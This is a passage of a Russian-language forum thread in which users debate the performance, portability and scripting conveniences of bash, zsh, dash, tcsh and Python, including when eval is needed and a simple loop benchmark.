Родитель: #97 |
125. Сообщение от Энон (?), 08-Дек-20, 17:01 | +3 +/– | ![]() |
Специально для альтернативно одарённых. Необходимость доказательства утверждения лежит на утверждающем. Доказывать отсутствие чего либо не нужно. Эти очевидные знания известны всем, кто знаком с понятием "элементарная логика". | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #118 Ответы: #126, #145 |
126. Сообщение от Урри (ok), 08-Дек-20, 17:11 | –5 +/– | ![]() |
Согласен - доказывать отсутствие мозгов у Энона не надо - ведь по его же словам "Доказывать отсутствие чего либо не нужно. Эти очевидные знания известны всем, кто знаком с понятием "элементарная логика". | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #125 Ответы: #146 |
127. Сообщение от Аноним (39), 08-Дек-20, 17:13 | +3 +/– | ![]() |
> последователи systemD не осилили GNU bash | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #100 Ответы: #166, #249 |
128. Сообщение от Урри (ok), 08-Дек-20, 17:14 | +/– | ![]() |
К сожалению - недостаточно. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #19 Ответы: #147 |
129. Сообщение от Урри (ok), 08-Дек-20, 17:15 | +/– | ![]() |
А у меня большой зоопарк виртуалок с вендой и пара с макосью (да-да, куэму умеет крутить на ..мм.. короче крутить в себе макось). | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #18 |
130. Сообщение от Нанобот (ok), 08-Дек-20, 17:16 | +/– | ![]() |
неправда. баш тормознутее питона на порядок. или на два порядка (не помню, давно мерял) | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #32 Ответы: #161 |
131. Сообщение от Урри (ok), 08-Дек-20, 17:18 | +/– | ![]() |
Это тех, где выкидывают баш ради 600 киль пространства, но впихивают питон ради -100 метров? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #121 Ответы: #262 |
132. Сообщение от Нанобот (ok), 08-Дек-20, 17:18 | +4 +/– | ![]() |
совсем линуксоиды деградировали... | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #47 Ответы: #164 |
133. Сообщение от IRASoldier_registered (ok), 08-Дек-20, 17:21 | –1 +/– | ![]() |
> Во-первых, не немецкого, а латинского | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #88 Ответы: #242 |
134. Сообщение от Урри (ok), 08-Дек-20, 17:22 | +2 +/– | ![]() |
Как и аноним выше пишу много скриптов. Анализ поступающих данных с выводом через gnuplot, например. Практически каждый день приходится что-то новое скриптовать для аналитиков. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #81 Ответы: #143 |
135. Сообщение от Урри (ok), 08-Дек-20, 17:23 | +/– | ![]() |
Ну вот питон - сотни, а баш выше - тысячи. Комментарии, как говорится, излишни. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #72 Ответы: #142, #150 |
136. Сообщение от IRASoldier_registered (ok), 08-Дек-20, 17:24 | +/– | ![]() |
Вариант произнесения аббревиатуры как не как слова, а именно как аббревиатуры - "зи-эс-эйч" тоже распространен, да. А "zish" - от редукции "zee shell" (с учетом американского "zee" вместо чисто британского "zed"). | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #98 |
137. Сообщение от Аноним (137), 08-Дек-20, 17:24 | +2 +/– | ![]() |
То что написано на баше 30 лет назад, заработает и сейчас. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #141 |
138. Сообщение от Урри (ok), 08-Дек-20, 17:27 | +/– | ![]() |
Под ведроид есть фришный termux с башем и терминалами. Ставь и не парься. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #108 Ответы: #253 |
139. Сообщение от IRASoldier_registered (ok), 08-Дек-20, 17:30 | +/– | ![]() |
"Эс-эс-эйч", никаких проблем. Ну, разве что, может быть, "язык ломается" у тех, кому по каким-то причинам неприятно все иностранное. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #78 |
140. Сообщение от grayich (ok), 08-Дек-20, 17:44 | –1 +/– | ![]() |
в принципе пофик, но для меня например решает автодополнение по Tab в zsh, в баше неудобно | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 |
141. Сообщение от Аноним (-), 08-Дек-20, 17:46 | +1 +/– | ![]() |
>То что написано на баше 30 лет назад, заработает и сейчас. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #137 |
142. Сообщение от Аноним (16), 08-Дек-20, 17:49 | +/– | ![]() |
Проблема в том, что аналогичный код на баше захлебнётся много раньше, накладные расходы велики. Это не говоря о том, что написать _аналогичный_ код — практически анриал, проще и быстрее будет брать сразу си. А сотни только потому, что железо не позволяло скалировать дальше. Это были 100 вычислительных потоков, а не 1000 бесполезных внешних вызовов. За единицу времени получаем одну-три единицы вычисления на баше, или сотни на питоне (с полной загрузкой). | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #135 |
143. Сообщение от Аноним (16), 08-Дек-20, 17:59 | +/– | ![]() |
Скрипты бывают разные. Если ты не пишешь интересной логики и динамических вычислений, вполне естественно, что eval тебе никогда не понадобится. Но баш слишком ограниченный, и если ты уже привык к полноценным скриптовым языкам, тебе хочется хотя бы доли того комфорта. Без eval это не осуществимо, или, во всяком случае, очень многие вещи без него не реализуемы в разумные сроки и с сохранением хоть какого-то удобства. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #134 Ответы: #160, #171 |
144. Сообщение от псевдонимус (?), 08-Дек-20, 18:04 | +/– | ![]() |
> Логи не изучал. Не так давно Был инцидент у заказчика, упал портал. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #109 |
145. Сообщение от Аноним (145), 08-Дек-20, 18:06 | +1 +/– | ![]() |
Ну, как бы, к ИБ это плохо относится. Там больше наоборот, нужно доказывать отсутствие. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #125 Ответы: #148 |
146. Сообщение от Энон (?), 08-Дек-20, 18:06 | +1 +/– | ![]() |
Сразу видно альтернативно одарённое урри ) | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #126 |
147. Сообщение от псевдонимус (?), 08-Дек-20, 18:08 | +/– | ![]() |
Вообще-то это была просто шутка. :-( | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #128 |
148. Сообщение от Энон (?), 08-Дек-20, 18:08 | +1 +/– | ![]() |
Нет, нужно доказывать наличие. Тем более, что код открыт | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #145 Ответы: #151, #223, #288 |
149. Сообщение от Аноним (145), 08-Дек-20, 18:08 | +1 +/– | ![]() |
Волков Командер знаю, а Батников Командер не встречал. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #80 |
150. Сообщение от Аноним (16), 08-Дек-20, 18:32 | –1 +/– | ![]() |
А кстати, мне тут понадобилось сложить пару чисел в баше. Ну такое, гигабайты чисел он не очень успешно ворочает. Даже очень неуспешно. И есть с десяток очевидных способов сделать это КРАЙНЕ не успешно. Хотя питон тоже не проверял, только numpy, но там и не пришлось так извращаться. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #135 Ответы: #263 |
151. Сообщение от дохтурЛол (?), 08-Дек-20, 19:05 | –1 +/– | ![]() |
тогда не нужны эти bash/zsh, да и линyпс не нужон. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #148 Ответы: #175 |
152. Сообщение от Аноним (152), 08-Дек-20, 19:11 | +/– | ![]() |
Даже если его нет сейчас, что помешает его пушнуть в новом комите? Кто бы мог подумать что зверьцд можно и для скриптеров запилить! | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #27 |
153. Сообщение от VINRARUS (ok), 08-Дек-20, 19:12 | +/– | ![]() |
Bash такой же как и system:D мегакусок говнокода. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #180, #203, #207, #208, #225 |
155. Сообщение от VINRARUS (ok), 08-Дек-20, 19:24 | +1 +/– | ![]() |
ставь dash как /bin/sh, он в разы быстрее | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #17 Ответы: #289 |
156. Сообщение от Аноним (230), 08-Дек-20, 19:25 | –1 +/– | ![]() |
Речь, вроде, шла не обо мне и не о владельцах зоопарков, а о тех, у кого | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #114 Ответы: #188 |
157. Сообщение от Аноним (230), 08-Дек-20, 19:27 | +/– | ![]() |
> А bash настроить нельзя? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #94 |
158. Сообщение от VINRARUS (ok), 08-Дек-20, 19:35 | –1 +/– | ![]() |
>> 5.1 | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #23 |
159. Сообщение от VINRARUS (ok), 08-Дек-20, 19:38 | +/– | ![]() |
> Баш вместе с линукс утилитками производительнее питона получается. И времени на код | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #32 |
160. Сообщение от VINRARUS (ok), 08-Дек-20, 19:45 | +/– | ![]() |
Другими словами говнокодинг всегда кажется быстрее. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #143 Ответы: #167 |
161. Сообщение от VINRARUS (ok), 08-Дек-20, 19:48 | +/– | ![]() |
Сравни скорость утиилты gsed с, прости Господи, питоном. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #130 Ответы: #173, #174 |
162. Сообщение от VINRARUS (ok), 08-Дек-20, 19:51 | +/– | ![]() |
> ребят, а где можно почитать гайды по posix-shell? ну т.е чтобы писать | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #43 |
163. Сообщение от VINRARUS (ok), 08-Дек-20, 19:56 | +/– | ![]() |
Тогда уже на ash, в идеале busybox ash. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #113 Ответы: #177 |
164. Сообщение от VINRARUS (ok), 08-Дек-20, 19:58 | –3 +/– | ![]() |
Это ж убунтята, они без соски и диск не разметят. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #132 |
165. Сообщение от nebularia (ok), 08-Дек-20, 20:01 | +/– | ![]() |
> скрипт должен работать независимо от того, установлен в системе (не твоей) bash или нет. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #90 |
166. Сообщение от VINRARUS (ok), 08-Дек-20, 20:04 | +/– | ![]() |
>> последователи systemD не осилили GNU bash | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #127 |
167. Сообщение от Аноним (16), 08-Дек-20, 20:13 | –1 +/– | ![]() |
Но стал ли код быстрее? Или понятнее? Если замерить, или хотя бы посчитать количество инструкций? Память тоже не бесконечная. Вообще, в баше очень много вариантов где $ или даже ! в тексте создаст тебе приключений и без eval. А ведь есть ещё extglob! В общем, eval ты хотя бы видишь, и можешь хоть как-то санитизировать, а вот остальное уже не очень. И зачем переписывать то, что прекрасно работает? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #160 Ответы: #185 |
168. Сообщение от Аноним (230), 08-Дек-20, 20:13 | +1 +/– | ![]() |
Это не "к чёрту переносимость", это "к чёрту читаемость". Ты бы tr с sed подучил, этот ужас можно минимум на треть сократить. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #116 Ответы: #176, #178 |
169. Сообщение от Аноним (230), 08-Дек-20, 20:17 | +/– | ![]() |
Да, я отвлёкся. Без eval тут обойтись сложно, но я бы в принципе не стал решать задачу, в которой такое нужно, на шелле. Есть более подходящие языки, к которым есть удобные библиотеки (хоть биндинги для той же libmediainfo). | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #116 Ответы: #179 |
170. Сообщение от Аноним (170), 08-Дек-20, 20:19 | +/– | ![]() |
Для скриптов командная оболочка POSIX, для интерактивной работы то, что установлено по умолчанию. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 |
171. Сообщение от Аноним (230), 08-Дек-20, 20:20 | +/– | ![]() |
> Если ты не пишешь интересной логики и динамических вычислений, вполне естественно, что eval тебе никогда не понадобится. Но баш слишком ограниченный, и если ты уже привык к полноценным скриптовым языкам, тебе хочется хотя бы доли того комфорта. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #143 Ответы: #182 |
172. Сообщение от Аноним (170), 08-Дек-20, 20:21 | –1 +/– | ![]() |
Берёшь стандарт POSIX и читаешь. Он учится полностью за один вечер. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #43 |
173. Сообщение от Аноним (16), 08-Дек-20, 20:22 | +/– | ![]() |
Если про что и говорить, то это в питоне подозрительно тормозной os.scandir, find в 100 раз быстрее (на холодную так и вообще). А os.listdir ещё хуже. Но это некорректно всё же, мы сравниваем не баш, а си, сам баж тормозной и питон чаще всего быстрее чем вызов сишной утилиты из баша (миллион раз на каждое слово, например). | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #161 Ответы: #189 |
174. Сообщение от Аноним (16), 08-Дек-20, 20:24 | +/– | ![]() |
Регулярки в питоне кстати сишные, и более простые чем расширенный сед (а не расширенный оставьте себе). Ты точно меряешь корректно? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #161 Ответы: #209 |
175. Сообщение от Энон (?), 08-Дек-20, 20:27 | +/– | ![]() |
> тогда не нужны эти bash/zsh, да и линyпс не нужон. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #151 |
176. Сообщение от Аноним (16), 08-Дек-20, 20:28 | +/– | ![]() |
Зачем мне его сокращать? Ты всерьёз полагаешь, что так написано не намерено? Несколько разных операторов в седе не всегда можно объединить за один вызов, поэтому легковесный tr тут вполне уместен. И это более читаемо. Но вообще, конечно, речь совсем не о том тут. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #168 Ответы: #187 |
177. Сообщение от Аноним (230), 08-Дек-20, 20:29 | +/– | ![]() |
Во-первых, что-то странное ты там описал. Слабо верится в такое поведение. Во-вторых, dash — урезанный форк ash, так что баги у них вполне могут быть общие. В-третьих, если баг и был, из твоих же слов следует, что он давно исправлен. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #163 Ответы: #181 |
178. Сообщение от Аноним (16), 08-Дек-20, 20:32 | +/– | ![]() |
>башу пофиг, сколько их там | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #168 |
179. Сообщение от Аноним (16), 08-Дек-20, 20:37 | +/– | ![]() |
В баше с хэштейблами вполне норм скриптуется такая логика, без них не норм. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #169 |
180. Сообщение от Аноним (180), 08-Дек-20, 20:37 | +/– | ![]() |
Баш вообще в циклах хреново работает, ты бы ещё файл построчно читать попробовал. Вот попробуй, охренеешь. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #153 Ответы: #184 |
181. Сообщение от VINRARUS (ok), 08-Дек-20, 20:39 | +/– | ![]() |
> Во-первых, что-то странное ты там описал. Слабо верится в такое поведение. Во-вторых, | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #177 |
182. Сообщение от Аноним (16), 08-Дек-20, 20:40 | +/– | ![]() |
Потому что могу? Как минимум интересно заменять по-максимуму привычную поизикс содомию башизмами, многие возможности открылись с тех пор как я начал это делать. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #171 |
183. Сообщение от Аноним (183), 08-Дек-20, 20:41 | +/– | ![]() |
https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V... | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #43 |
184. Сообщение от VINRARUS (ok), 08-Дек-20, 20:45 | +/– | ![]() |
> Баш вообще в циклах хреново работает, ты бы ещё файл построчно читать | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #180 Ответы: #186 |
185. Сообщение от VINRARUS (ok), 08-Дек-20, 20:57 | +/– | ![]() |
> Но стал ли код быстрее? Или понятнее? Если замерить, или хотя бы | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #167 Ответы: #200 |
186. Сообщение от Аноним (180), 08-Дек-20, 20:58 | +/– | ![]() |
Да для таких простых задач баш пригоден. Я имею ввиду какие-то жёсткие задачи, типо анализа текстового файла в десятки гигабайт, или запуска каких-то команд где очень быстро будет передаваться управление обратно в цикл, и весь скрипт из-за этого будет тормозить, упираться в баш. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #184 |
187. Сообщение от Аноним (230), 08-Дек-20, 21:06 | +/– | ![]() |
> Ты всерьёз полагаешь, что так написано не намерено? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #176 Ответы: #193 |
188. Сообщение от имя (ok), 08-Дек-20, 21:08 | +/– | ![]() |
> P. S. Если ты админишь зоопарк серверов без какого бы то ни было SCM | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #156 |
189. Сообщение от VINRARUS (ok), 08-Дек-20, 21:11 | +/– | ![]() |
> Если про что и говорить, то это в питоне подозрительно тормозной os.scandir, | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #173 Ответы: #190, #191, #192 |
190. Сообщение от Аноним (16), 08-Дек-20, 21:26 | +/– | ![]() |
Вроблема в "вызов", если бы сишный код можно было подключить в баш через ффи и не спамить процессами, он работал бы так же быстро, как и в питоне. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #189 Ответы: #197 |
191. Сообщение от Аноним (16), 08-Дек-20, 21:27 | +/– | ![]() |
А, ну и питон написан на питоне. И местами на си. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #189 |
192. Сообщение от Аноним (16), 08-Дек-20, 21:29 | +/– | ![]() |
Интерпретатор там си (или уже плюсы не помню), только это отношения никакого не имеет. Получается, мы сравниваем интерпретируемый код с нейтивом. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #189 Ответы: #194 |
193. Сообщение от Аноним (16), 08-Дек-20, 21:37 | +/– | ![]() |
>Если строка такой длины появляется в коде на каком бы то ни было языке намеренно, это не говорит ничего хорошего об авторе сего кода. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #187 Ответы: #206 |
194. Сообщение от VINRARUS (ok), 08-Дек-20, 21:39 | +/– | ![]() |
> Интерпретатор там си (или уже плюсы не помню), только это отношения никакого | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #192 |
195. Сообщение от Аноним (195), 08-Дек-20, 21:40 | +/– | ![]() |
это везде можно применить. просто предварительно загоняй строку для eval в переменную, а потом уже ее eval-ь с этим экспандером. eval в принципе страшен и уязвим только тогда, когда ему можно подсунуть невалидированные данные от пользователя. а данная конструкция позволяет без лишнего гемора отсечь всякие инджекшены | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #119 |
196. Сообщение от Аноним (195), 08-Дек-20, 21:42 | +/– | ![]() |
ну оторви, попробуй | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #110 Ответы: #199 |
197. Сообщение от VINRARUS (ok), 08-Дек-20, 21:48 | +/– | ![]() |
> Вроблема в "вызов", если бы сишный код можно было подключить в баш | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #190 |
198. Сообщение от Аноним (261), 08-Дек-20, 22:03 | +/– | ![]() |
> Вызов malloc на 64-разрядных системах теперь выравнивает возвращаемую память по 16 байтовой границе. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #256 |
199. Сообщение от псевдонимус (?), 08-Дек-20, 22:05 | +/– | ![]() |
У вас, шапкорабов, уже и отрывать нечего. Все уже оторвано до нас. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #196 Ответы: #201 |
200. Сообщение от Аноним (16), 08-Дек-20, 22:23 | –1 +/– | ![]() |
Да, eval ради eval это тоже такое, просто есть ситуации где без него объективно никак. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #185 Ответы: #204 |
201. Сообщение от Аноним (195), 08-Дек-20, 22:24 | +/– | ![]() |
метлу привяжи, когда с lfs-ником базаришь | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #199 Ответы: #210 |
203. Сообщение от Аноним (180), 08-Дек-20, 22:28 | +/– | ![]() |
Ну и эта команда на которой ты тестриуешь баш это не есть показать. У тебя простой цикл с инкриментом. Ну о чём это говорит вообще? Это не ЯП, это скриптовый, управлеченский код, нагруженные циклические проги прямо на него накидывать это бред, неэффективно. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #153 Ответы: #211 |
204. Сообщение от VINRARUS (ok), 08-Дек-20, 22:29 | +/– | ![]() |
> Да, eval ради eval это тоже такое, просто есть ситуации где без | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #200 |
205. Сообщение от Аноним (230), 08-Дек-20, 22:31 | +/– | ![]() |
dropbear же | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #91 |
206. Сообщение от Аноним (230), 08-Дек-20, 22:33 | +/– | ![]() |
> ты лезешь не в своё дело | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #193 Ответы: #213 |
207. Сообщение от Аноним (16), 08-Дек-20, 22:34 | +/– | ![]() |
Зачем тебе баш если ты его не используешь?.. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #153 Ответы: #215, #217 |
208. Сообщение от Аноним (180), 08-Дек-20, 22:37 | +/– | ![]() |
~$ time bash -c 'declare -i D=1; while ((D<1000000)); do ((D+=1)); done' | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #153 Ответы: #214 |
209. Сообщение от Аноним (230), 08-Дек-20, 22:47 | +/– | ![]() |
> Регулярки в питоне кстати сишные | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #174 Ответы: #212 |
210. Сообщение от псевдонимус (?), 08-Дек-20, 22:47 | +/– | ![]() |
С долбо..ом что-ли? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #201 |
211. Сообщение от VINRARUS (ok), 08-Дек-20, 22:48 | +/– | ![]() |
> Это не ЯП, это скриптовый, управлеченский код, нагруженные циклические | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #203 |
212. Сообщение от Аноним (16), 08-Дек-20, 22:53 | +/– | ![]() |
>В Си есть регулярки? Вот это да! | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #209 Ответы: #239 |
213. Сообщение от Аноним (16), 08-Дек-20, 23:02 | +/– | ![]() |
>Ты первый полез не в свой дело, рассказывая всем, как им сильно нужен eval. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #206 Ответы: #226 |
214. Сообщение от VINRARUS (ok), 08-Дек-20, 23:16 | +/– | ![]() |
А с dash? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #208 |
215. Сообщение от Аноним (16), 08-Дек-20, 23:23 | +/– | ![]() |
А вот, кстати, zsh (но он по фичам несовместим с башем, да): | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #207 |
216. Сообщение от OpenEcho (?), 08-Дек-20, 23:37 | –2 +/– | ![]() |
> Какой в этом смысл, когда баш есть везде, но может быть не установлен по умолчанию. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #87 |
217. Сообщение от VINRARUS (ok), 08-Дек-20, 23:41 | +/– | ![]() |
Тогда уже не "((D+=1))", а "((D++))" наверно. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #207 Ответы: #218 |
218. Сообщение от Аноним (16), 08-Дек-20, 23:55 | +/– | ![]() |
> Тогда уже не "((D+=1))", а "((D++))" наверно. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #217 Ответы: #222, #224 |
220. Сообщение от Аноним (263), 09-Дек-20, 00:36 | +/– | ![]() |
Ты близок к просветлению. Осталось понять, что есть awk. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #32 Ответы: #272 |
221. Сообщение от Аноним (263), 09-Дек-20, 00:40 | +/– | ![]() |
Правильно будет сказать, что есть (ba)sh и есть ksh. Обычный sh почти во всех линуксах. На бсд-лайк системах (особенно на солярке) в системе только ksh. Я лично сам пишу под mksh, который как бы из мира ksh, но очень мнго взял из sh. При этом по скорости опережает здесь рекламируемый dash. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #43 Ответы: #264 |
222. Сообщение от VINRARUS (ok), 09-Дек-20, 00:50 | +/– | ![]() |
>> Тогда уже не "((D+=1))", а "((D++))" наверно. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #218 Ответы: #227 |
223. Сообщение от Прохожий (??), 09-Дек-20, 01:09 | –2 +/– | ![]() |
И этот человек рассказывает другим о логике... | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #148 Ответы: #230 |
224. Сообщение от Аноним (16), 09-Дек-20, 01:11 | +/– | ![]() |
tcsh похоже победитель: | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #218 |
225. Сообщение от Аноним (263), 09-Дек-20, 01:11 | +/– | ![]() |
Забавный тест, вот другой, где все "несколько иначе": | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #153 Ответы: #233 |
226. Сообщение от Аноним (230), 09-Дек-20, 01:12 | +/– | ![]() |
> Я даже привёл пример где он нужен и незаменим. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #213 Ответы: #228, #229, #231 |
227. Сообщение от Аноним (16), 09-Дек-20, 01:19 | +/– | ![]() |
Какие баги? Нет никаких багов. А по синтаксису, это обычный bash синтаксис и встроенный оператор объявления массивов, переменных, объявления переменных глобальными и всего остального, ему уж лет сколько. От объявления переменной числом баш не выигрывает на таком "тесте", это зш оптимизирует на 20% или сколько там, но вообще для счётчиков довольно эффективно. Я просто объявляю все числа числами, очень удобно. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #222 Ответы: #273 |
228. Сообщение от Аноним (16), 09-Дек-20, 01:22 | +/– | ![]() |
Где ассоциативный массив в этом примере? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #226 Ответы: #232 |
229. Сообщение от Аноним (16), 09-Дек-20, 01:23 | +/– | ![]() |
Ты вообще представляешь, как будет выглядеть эта лапша с getval? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #226 |
230. Сообщение от Аноним (230), 09-Дек-20, 01:26 | +1 +/– | ![]() |
Ну и дятел. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #223 |
231. Сообщение от Аноним (16), 09-Дек-20, 01:31 | +/– | ![]() |
Ох у меня полыхнуло, ты мне предложил словарь где я могу итерировать по ключам и значениям поменять на такую-то лажу! Да ещё сед дёргать миллионы раз. Я сейчас вообще выкину сед и использую встроенные в баш регулярки и ты мне тут предлагаешь ещё больше седа (вместо буквально одного вызова миллионы). Зато "портабэльно ккоо". | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #226 Ответы: #234 |
232. Сообщение от Аноним (230), 09-Дек-20, 01:34 | +/– | ![]() |
Нет его, прикинь. POSIX же. Но эмулируется он вполне успешно. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #228 |
233. Сообщение от Аноним (16), 09-Дек-20, 01:45 | +/– | ![]() |
Отличные "тесты", ага. Десятиминутный победитель из того теста справился тут за секунду. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #225 Ответы: #237 |
234. Сообщение от Аноним (230), 09-Дек-20, 01:51 | +/– | ![]() |
> Ох у меня полыхнуло | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #231 Ответы: #286 |
236. Сообщение от вынь любит вас во все девайсы (?), 09-Дек-20, 01:57 | +/– | ![]() |
Да. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #122 Ответы: #246 |
237. Сообщение от Аноним (263), 09-Дек-20, 02:07 | +/– | ![]() |
Хз, что у тебя в скрипет, а у меня: | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #233 Ответы: #238, #241 |
238. Сообщение от Аноним (16), 09-Дек-20, 02:13 | +/– | ![]() |
#/bin/tcsh | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #237 Ответы: #240, #261 |
239. Сообщение от Аноним (230), 09-Дек-20, 02:16 | +/– | ![]() |
Регулярки в питоне не более сишные чем весь питон, как бы. (И не менее, да.) | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #212 Ответы: #243 |
240. Сообщение от Аноним (16), 09-Дек-20, 02:17 | +/– | ![]() |
В шебанге опечатка, но я скармливал интерпретатору поэтому не важно. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #238 |
241. Сообщение от Аноним (16), 09-Дек-20, 02:20 | +/– | ![]() |
В общем да на (:;) выдало это | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #237 |
242. Сообщение от Ordu (ok), 09-Дек-20, 02:21 | +/– | ![]() |
>> нет никаких разумных причин ломать свой язык | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #133 Ответы: #259 |
243. Сообщение от Аноним (16), 09-Дек-20, 02:31 | +/– | ![]() |
Там есть pure python батарейки и есть сишные батарейки с сишной же производительностью. Питон код интерпретируется, и нейтив код не интерпретируется интерпретатором питона. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #239 Ответы: #244 |
